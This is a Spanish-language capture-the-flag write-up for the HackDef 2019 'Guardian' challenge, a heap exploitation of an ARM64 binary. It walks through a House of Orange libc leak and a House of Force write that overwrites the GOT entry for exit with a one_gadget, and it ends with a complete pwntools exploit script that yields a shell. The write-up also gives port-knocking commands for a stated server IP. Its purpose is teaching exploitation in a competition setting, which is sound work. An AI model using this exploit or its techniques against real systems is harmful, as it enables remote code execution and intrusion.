Guardian (Pwn 400): Heap Exploitation

By DanuX - @danuxx

Descripcion:


Este reto es opcional, la otra ruta es via reto DrunkTillDawn, ambos te  
llevaran al bunker por lo que no es necesario resolver los 2.

Este servicio es tu puerta de acceso al Bunker como los grandes hackers, a  
traves de un memory corruption exploit, asi que encuentra la vulnerabilidad,  
obten shell y lee el archivo db_secret.txt que contendra el password de la  
Base de Datos de Tarjetas de Credito dentro del Bunker!!!

El servicio corre en la IP 3.15.x.x y puerto 1340, sin embargo el puerto solo 
se activa con la secuencia de puertos que identificaste en el reto Abonero  
(port knocker).

Utiliza la secuencia de puertos para el servicio ELITE para que active el 
acceso a dicho puerto, recuerda que solo se abre por 5 minutos.

Utiliza la herramienta knock para mandar la serie de puertos, en ubuntu la 
instalas asi:

> sudo apt-get install knockd

Y la ejecutas pasandole la combinacion de puertos en este caso para el  
servicio ELITE: 
 
>knock -d 30 3.15.187.232 <puerto1> <puerto2> ... <puertoN>

NOTA: opcion -d muy importante para evitar problemas de latencia en la red.


Este reto como parte del HackDef Finals 2019 era un servicio que corria en el Servidor ARM del Bunker el cual de ser explotado daria acceso a la parte mas critica del sistema bancario, donde las tarjetas de credito y debido se resguardaban.

Es importante mencionar que para un entendimiento total de estas tecnicas, se recomienda una lectura previa de los conceptos basicos de House of Orange y House of Force que se pueden encontrar aqui.

Iniciamos con los chequeos rapidos del binario en cuanto a tipo y permisos de ejecucion:


Como podemos ver corre en architectura AArch64 o ARM64 bits y de acuerdo a los permisos podemos ver que tiene practicamente todo habilitado:

  1. Canary found: Proteccion contra buffer overflows en el stack
  2. NX: No podemos ejecutar nuestra shellcode en el stack
  3. No PIE: La direccion base donde se carga el binario en memoria no cambia en cada corrida por lo que es predecible
  4. No RELRO: Podemos sobreescribir direcciones de memoria como la tabla de GOT para redireccionar la ejecucion del programa a nuestro beneficio.

 Analisis Dinamico

Es muy recomendable familiarizarse con el comportamiento del programa desde la parte funcional antes de empezar la busqueda de vulnerabilidades. Al ejecutarlo nos muestra el siguiente menu:



El tipico menu de administracion de usuarios es presentado, donde puedes Agregar, Editar, Mostrar y Eliminar registros. Ademas, el programa nos muestra la direccion de memoria donde Main se esta ejecutando, esto no es muy importante ya que debido a que no hay PIE, main se carga siempre en la misma direccion.

Encontrando un Memory Leak


Como pudimos ver en los permisos del binario, no podemos ejecutar en el stack, por lo que necesitamos obtener un leak de memoria que nos permita saber donde se encuentra cargada la libreria de libc la cual comunmente se utiliza para llamar a la funcion system() y obtener una shell.

Es importante saber la version de libc que ocupa el binario ya que dependiendo de esta tambien sabremos que tipo de vulnerabilidades tiene, o de que forma maneja la alocacion de memoria.

En nuestro caso, la libc.so proporcionada es la version 2.27 (Ver Figura de abajo) la cual corre en un Ubuntu 18.04 y por ejemplo ya incluye tcache bins, esto es importante saberlo porque como mencionamos anteriormente, identificamos diferentes opciones que podemos utlizar durante el memory leak y explotacion. Por ejemplo la version 2.28 ya no permite ataques de double free en el tcache bin, de nuevo, la version, nos dice mucho a que nos estamos enfrentando.



House of Orange

Una tecnica de leakeo de memoria se conoce como House of Orange y para que se pueda ocupar se deben cumplir los siguientes requisitos:
  1. Tener control del tamaño de memoria a solicitar.
  2. Debe existir un heap overflow que te permita sobreescribir mas alla del chunk alocado
 Los 2 requisitos anteriores se cumplen  como se puede ver en la figura siguiente donde al editar un chunk existente le podemos asignar un nuevo tamaño y con esto ocasionar un heap overflow.



Como funciona esta tecnica?
  1. Creamos un heap chunk A
  2. Creamos un heap chunk B
  3. Editamos el chunk B pero ahora proporcionando un tamaño mas grande para poder generar el overflow y sobreescribir el tamaño del top chunk con un valor pequeño (el cual que debe estar alineado al page size) 
En la figura siguiente, se puede ver el primer chunk creado con A's, el segundo creado con B's, y despues de este viene el top chunk en la direccion: 0x23f7f6d0, quien basicamente tiene el tamaño restante de espacio a asignar en el heap actual, ese es el valor que alteraremos reduciendolo, el valor actual es 0x20940 + 1  = 0x20941 (Bit que muestra que el anterior chunk esta en uso), por lo que un valor candidato para modificar seria 0x941 para que la alineacion con la pagina se mantenga y no mande error el heap allocator:


Para alterar el top chunk, editamos el chunk con las B's, pedimos un tamaño de 0x40 y entonces sobreescribimos los 16 bytes iniciales de dicho chunk, 8 bytes mas del campo llamado PREV_SIZE del top chunk y finalmente el valor del nuevo tamaño, al ejecutar dicha accion, veamos como queda el top chunk con el valor 0x940 + 1


  
   4. Pedimos un nuevo heap chunk mas grande que lo que tiene el top chunk modificado (0x941) y forzamos a que se genere un nuevo heap en otro lugar de la memoria lo cual ocasiona que punteros de libc se escriban en el espacio de memoria que controlamos. Veamos el antes y despues de esta operacion.

Antes de solicitar el nuevo chunk, vemos como en la direccion 0x23f7f6d0 no hay punteros:


 Despues de alocar el nuevo espacio vemos en la siguiente figura como los punteros en la misma direccion han sido agregados, esto debido a que un nuevo heap se ha creado para servir el valor solicitado ya que el top chunk no tenia espacio suficiente. Tambien podemos ver que dichos punteros pertenecen a la arena, un espacio en memoria generado por cada thread y el cual utiliza direcciones de libc lo cual es lo que necesitamos como leak :-)


  5. Ahora solicitamos un nuevo chunk el cual debera ser servido en la direccion 0x23f7f6d0 (la direccion puede variar ya que corri varios muestras, en este caso cambio a 0x3af8b6d0) ya que es el siguiente bloque consecutivo a asignar y entonces nuestro nuevo chunk contendra dichos punteros y al imprimir su contenido (via opcion 3 del menu) , tendremos el leak deseado!


El base address de libc se calcula restanto dicho valor con el leak del puntero obtenido, esto nos dara la direccion relativa lo cual siempre es constante utilizando la misma version. Ya con el base address de libc, podemos calcular la direccion de system y obtener una shell!

House of Force

Para poder escribir arbitrariamente donde queramos en memoria.

Ahora el plan de ataque es sobreescribir un puntero de la tabla de GOT con la direccion de system, execve o similar, digamos, sobreescribir la funcion exit() para cuando sea llamada en lugar de salir nos de una shell!

Como lo logramos via House of Force:
  1. De nuevo debemos poder alterar el tamaño del top chunk, pero esta vez, crearemos un valor muy grande digamos 0xffffffffffffffff, para que entonces al haber demasiado espacio para asignar podamos practicamente alocar memoria en cualquier parte.
  2. Calcular la distancia entre top chunk y la direccion que se desea alterar (Got.Exit)
  3. Alocar un chunk que apunte a Got.Exit y sobteescribirla con la direccion de System/Execve para obtener shell
Obteniendo la direccion de top chunk en tiempo de ejecucion

El programa muestra la direccion de heap asignada cada que se agrega un nuevo cliente, sabemos que el top chunk se encuentra inmediatamente despues de dicho tamaño alocado, por lo que los pasos siguientes nos permitiran obtener la direccion de memoria que apunta a Got.Exit() via malloc:

  1. heap = malloc (0x940)
  2. top chunk = heap + 0x940 + 8
  3. distancia_a_got_exit = got.exit address - 8 - top chunk - 0x10 (sizeof long * 2)
  4. malloc (distancia_a_got_exit)
  5. got.exit_close = malloc(0x800) <----  Aqui el chunk que obtenemos apunta justo antes de nuestro target
  6. malloc(0xf2)  <--- Debemos tener de regreso la direccion a donde apunta Got.Exit
Y ahora vemos la explicacion anterior en accion imprimiendo el contenido del chunk anterior al top chunk que se utilizo para que via heap overflow sobreescribir el tamaño del top chunk con 0xffffffffffffffff, y finalmente mostrando la formula para calcular la distancia:



Como se puede ver la distancia es muy grande pero debido a que el top chunk fue alterado a su maximo valor posible (0xffffffffffffffff), malloc ejecutara dicha alocacion sin problema, como se muestra a continuacion:


Y entonces despues de esta peticion de memoria, estaremos muy cerca de aterrizar en nuestra direccion target (Got.Exit), en la siguiente imagen se puede ver que el chunk siguiente despues del alocado + la distancia calculada es ni mas ni menos que nuestro objetivo: 0x4115b0:



Ahora pedimos un nuevo chunk, el cual en teoria deberia ya regresarnos la direccion target, sin embargo, notamos que nos regreso un chunk en la direccion: 0x1042f6f0, esto es debido a que el heap allocator nos esta sirviendo direcciones del otro heap creado en los pasos anteriores (debido a las alteraciones del top chunk), entonces como podemos forzar a que nos regrese el chunk del target? En la figura siguiente podemos ver que despues del chunk asignado + la distancia requerida (0xeffbfc30) encontramos que el top chunk de este heap solo le resta espacio de memoria para asignar de 0xF0 (sin contar el bit de en uso), por lo que de requerir un valor mayor a este, el allocator tendria que utilizar el heap que nos interesa, mismo que su siguiente chunk a asignar es nuestro target!




Procedemos con el plan y pedimos un chunk de tamaño 0xF2 suficiente para ser mayor al top chunk actual y... vioala!!!!! Malloc nos regresa la direccion de nuestro target Got.Exit!



El ultimo paso que resta es editar ese chunk, y sobreescribir el Got.Exit con la direccion de System() o Execve(), para entonces despues pedirle al programa que se salga y entonces en vez de llamar a Exit, nos dara una shell!!!!

Una opcion recomendada es usar la herramienta one_gadget la cual nos puede dar direcciones relativas a libc donde podemos executar execve, o execl para obtener shell:


Esto quiere decir que la direccion a sobreescribir el Got.Exit es = libc base address + 0x63e90


Abajo el exploit final:


#!/usr/bin/python
# DanuX

from pwn import *

context.arch = "aarch64"
context.os = "linux"
#context.log_level = 'debug'

libc = ELF('/lib/aarch64-linux-gnu/libc.so.6')
b = ELF("./guardian")

def add(r, size, name):
    r.sendline("1")
    r.recvuntil("cliente: ")
    r.sendline(str(size))
    r.recvuntil("cliente: ")
    r.sendline(name)
    r.recvuntil("opcion: ")

def change(r, idx, size, name):
    r.sendline("2")
    r.recvuntil("cliente: ")
    r.sendline(str(idx))
    r.recvuntil("cliente: ")
    r.sendline(str(size))
    r.recvuntil("cliente: ")
    r.sendline(name)
    r.recvuntil("opcion: ")

def show(r):
    r.sendline("3")
    #r.recvuntil("opcion: ")

def remove(r, idx):
    r.sendline("4")
    r.recvuntil("eliminar: ")
    r.sendline(str(idx))
    r.recvuntil("opcion: ")


def arm_pwn(DEBUG="1"):
        if DEBUG=="1":
                with context.local(aslr=True):
                   r = process(["./guardian"])
                   gdb.attach(r, "" )
        elif DEBUG=="2":
                r = process(["./guardian"])
        elif DEBUG=="3":
                with context.local(aslr=False):
                    HOST = "localhost"
                    PORT = 12345
                    r = remote(HOST,PORT)

        raw_input()

        off_to_main = 0xe4c
        r.recvuntil("main() at ")
        main_leak = int(r.recvline(False)[2:14],16);
        log.info("Main addr leak: %s" % hex(main_leak))

        pie = main_leak - off_to_main
        log.info("PIE leak: %s" % hex(pie))
         
        exit_got  = b.got["exit"] 
        log.info("Exit.Got: %s" % hex(exit_got))

        r.recvuntil("opcion: ")

        #House of Orange to leak libc
        add(r, 0x450-48, "A"*24) #0
        add(r, 10, "BBBBBBBBBB") #1
        align = 0x941
        change(r, 1, 40, "C"*24 + p64(align)) #1

        add(r, 0x1000, "DDDDDDDDDD") #2
        
        add(r, 1, "") #3
        s = 9
        change(r, 3, s, "F"*s) #3
        show(r)
        r.recvuntil("[3] " + "F"*s)

        libc_leak = u64(r.recv(5).rjust(6, "\x00").ljust(8,"\x00")) #Leak from chunk3
        libc_leak -= 0x154000
        log.info("Libc Leak: %s" % hex(libc_leak))

        r.recvuntil("opcion: ")

        #add Chunk 4 
        r.sendline("1")
        r.recvuntil("cliente: ")
        r.sendline(str(align-1))
        r.recvuntil("cliente: ")
        r.sendline("G"*24)

        r.recvuntil("guardado @ ")
        heap_leak = int(r.recvline(False)[2:14],16);
        top_chk = heap_leak + align-1 + 8
        log.info("Top Chunk: %s" % hex(top_chk))

        r.recvuntil("opcion: ")

        #House of force - overwrite of top_chunk with 0xFFFFFFFFFFFFFFFF
        change(r, 4, align-1+0x10, "H"*(align-1) + "\x00"*8 + "\xff"*8) #3

        mal_size = exit_got - 8 - top_chk - 0x10 #sizeof long * 2
        add(r, mal_size, "I"*10) #5
        add(r, 0x800, "JJJJJ") #6 Moving towards target address
        add(r, 0xf2, "LLLLL") #7 Should point to exit.got address

        one_gadget = libc_leak + 0x63e90
        change(r, 7, 0x10, p64(one_gadget)) #7

        r.sendline("5") #Exit B00000M!!!!
        r.interactive()

arm_pwn(sys.argv[1])


Comments